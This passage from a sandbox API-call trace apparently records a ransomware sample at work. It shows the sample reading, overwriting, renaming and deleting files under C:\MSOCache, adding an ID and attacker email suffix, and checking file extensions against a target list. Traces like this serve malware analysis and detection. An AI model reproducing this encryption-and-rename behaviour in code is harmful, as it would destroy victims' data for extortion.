dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0050.381] ReadFile (in: hFile=0x1dc, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.446] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0050.446] ReadFile (in: hFile=0x1dc, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.001] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.001] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.001] ReadFile (in: hFile=0x1dc, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.060] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.060] WriteFile (in: hFile=0x1dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x32bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0051.074] SetEndOfFile (hFile=0x1dc) returned 1 [0051.074] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4055c00 [0051.077] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0051.077] WriteFile (in: hFile=0x1dc, lpBuffer=0x4055c00*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4055c00*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.079] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0051.079] WriteFile (in: hFile=0x1dc, lpBuffer=0x4055c00*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4055c00*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.082] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0051.082] WriteFile (in: hFile=0x1dc, lpBuffer=0x4055c00*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4055c00*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.334] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4055c00 | out: hHeap=0x510000) returned 1 [0051.335] CloseHandle (hObject=0x1dc) returned 1 [0052.626] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0052.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.627] lstrlenW (lpString=".doc") returned 4 [0052.627] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.627] lstrlenW (lpString=".docx") returned 5 [0052.627] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.627] lstrlenW (lpString=".pdf") returned 4 [0052.627] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.627] lstrlenW (lpString=".xls") returned 4 [0052.627] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.627] lstrlenW (lpString=".xlsx") returned 5 [0052.627] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.627] lstrlenW (lpString=".ppt") returned 4 [0052.627] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.627] lstrlenW (lpString=".zip") returned 4 [0052.627] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.627] lstrlenW (lpString=".rar") returned 4 [0052.627] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.627] lstrlenW (lpString=".bz2") returned 4 [0052.627] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.627] lstrlenW (lpString=".7z") returned 3 [0052.627] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.627] lstrlenW (lpString=".dbf") returned 4 [0052.628] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.628] lstrlenW (lpString=".1cd") returned 4 [0052.628] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.628] lstrlenW (lpString=".jpg") returned 4 [0052.628] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.628] lstrlenW (lpString=".doc") returned 4 [0052.628] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.628] lstrlenW (lpString=".docx") returned 5 [0052.628] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.628] lstrlenW (lpString=".pdf") returned 4 [0052.628] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.628] lstrlenW (lpString=".xls") returned 4 [0052.628] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.628] lstrlenW (lpString=".xlsx") returned 5 [0052.628] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.628] lstrlenW (lpString=".ppt") returned 4 [0052.628] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.628] lstrlenW (lpString=".zip") returned 4 [0052.628] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.628] lstrlenW (lpString=".rar") returned 4 [0052.628] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.628] lstrlenW (lpString=".bz2") returned 4 [0052.628] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.628] lstrlenW (lpString=".7z") returned 3 [0052.628] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.629] lstrlenW (lpString=".dbf") returned 4 [0052.629] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.629] lstrlenW (lpString=".1cd") returned 4 [0052.629] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.629] lstrlenW (lpString=".jpg") returned 4 [0052.629] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.629] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0052.629] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0052.629] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.945] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=2511872) returned 1 [0052.945] CloseHandle (hObject=0x188) returned 1 [0052.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0052.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.945] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0052.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0x0) returned 1 [0052.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.946] ReadFile (in: hFile=0x188, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.966] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.966] ReadFile (in: hFile=0x188, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.983] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.983] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.983] ReadFile (in: hFile=0x188, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.324] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.324] WriteFile (in: hFile=0x188, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x32bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0053.348] SetEndOfFile (hFile=0x188) returned 1 [0053.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0053.351] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.351] WriteFile (in: hFile=0x188, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.353] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.353] WriteFile (in: hFile=0x188, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.614] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.614] WriteFile (in: hFile=0x188, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.617] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0053.617] CloseHandle (hObject=0x188) returned 1 [0053.618] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0053.618] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.618] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.618] lstrlenW (lpString=".doc") returned 4 [0053.618] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.618] lstrlenW (lpString=".docx") returned 5 [0053.618] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0053.618] lstrlenW (lpString=".pdf") returned 4 [0053.618] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.618] lstrlenW (lpString=".xls") returned 4 [0053.618] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.618] lstrlenW (lpString=".xlsx") returned 5 [0053.618] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0053.618] lstrlenW (lpString=".ppt") returned 4 [0053.618] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.618] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.618] lstrlenW (lpString=".zip") returned 4 [0053.618] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.618] lstrlenW (lpString=".rar") returned 4 [0053.619] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.619] lstrlenW (lpString=".bz2") returned 4 [0053.619] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.619] lstrlenW (lpString=".7z") returned 3 [0053.619] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.619] lstrlenW (lpString=".dbf") returned 4 [0053.619] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.619] lstrlenW (lpString=".1cd") returned 4 [0053.619] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.619] lstrlenW (lpString=".jpg") returned 4 [0053.619] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.619] lstrlenW (lpString=".doc") returned 4 [0053.619] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.619] lstrlenW (lpString=".docx") returned 5 [0053.619] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0053.619] lstrlenW (lpString=".pdf") returned 4 [0053.619] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.619] lstrlenW (lpString=".xls") returned 4 [0053.619] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.619] lstrlenW (lpString=".xlsx") returned 5 [0053.619] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0053.619] lstrlenW (lpString=".ppt") returned 4 [0053.619] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.620] lstrlenW (lpString=".zip") returned 4 [0053.620] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.620] lstrlenW (lpString=".rar") returned 4 [0053.620] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.620] lstrlenW (lpString=".bz2") returned 4 [0053.620] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.620] lstrlenW (lpString=".7z") returned 3 [0053.620] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.620] lstrlenW (lpString=".dbf") returned 4 [0053.620] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.620] lstrlenW (lpString=".1cd") returned 4 [0053.620] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.620] lstrlenW (lpString=".jpg") returned 4 [0053.620] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.620] lstrcmpiW (lpString1=".EXE", lpString2=".asd") returned 1 [0053.620] lstrlenW (lpString="DW20.EXE") returned 8 [0053.620] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0054.677] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=838536) returned 1 [0054.677] CloseHandle (hObject=0x188) returned 1 [0054.677] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0054.681] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.686] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0054.717] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.717] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.717] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0054.718] GetLastError () returned 0x0 [0054.718] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x32bfed4*=0xccb88, lpOverlapped=0x0) returned 1 [0054.758] WriteFile (in: hFile=0x21c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x32bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0055.039] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x32bfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.039] WriteFile (in: hFile=0x21c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x32bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0055.039] SetEndOfFile (hFile=0x21c) returned 1 [0055.039] CloseHandle (hObject=0x21c) returned 1 [0055.039] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.040] SetEndOfFile (hFile=0x188) returned 1 [0055.047] CloseHandle (hObject=0x188) returned 1 [0055.047] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0055.047] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0055.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.048] lstrlenW (lpString=".doc") returned 4 [0055.048] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0055.048] lstrlenW (lpString=".docx") returned 5 [0055.048] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0055.048] lstrlenW (lpString=".pdf") returned 4 [0055.048] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0055.048] lstrlenW (lpString=".xls") returned 4 [0055.048] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0055.048] lstrlenW (lpString=".xlsx") returned 5 [0055.048] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0055.048] lstrlenW (lpString=".ppt") returned 4 [0055.048] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0055.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.048] lstrlenW (lpString=".zip") returned 4 [0055.048] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0055.048] lstrlenW (lpString=".rar") returned 4 [0055.048] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0055.048] lstrlenW (lpString=".bz2") returned 4 [0055.048] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0055.048] lstrlenW (lpString=".7z") returned 3 [0055.048] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0055.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.048] lstrlenW (lpString=".dbf") returned 4 [0055.048] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0055.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.048] lstrlenW (lpString=".1cd") returned 4 [0055.048] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0055.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.048] lstrlenW (lpString=".jpg") returned 4 [0055.049] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0055.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.049] lstrlenW (lpString=".doc") returned 4 [0055.049] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0055.049] lstrlenW (lpString=".docx") returned 5 [0055.049] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0055.049] lstrlenW (lpString=".pdf") returned 4 [0055.049] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0055.049] lstrlenW (lpString=".xls") returned 4 [0055.049] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0055.049] lstrlenW (lpString=".xlsx") returned 5 [0055.049] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned 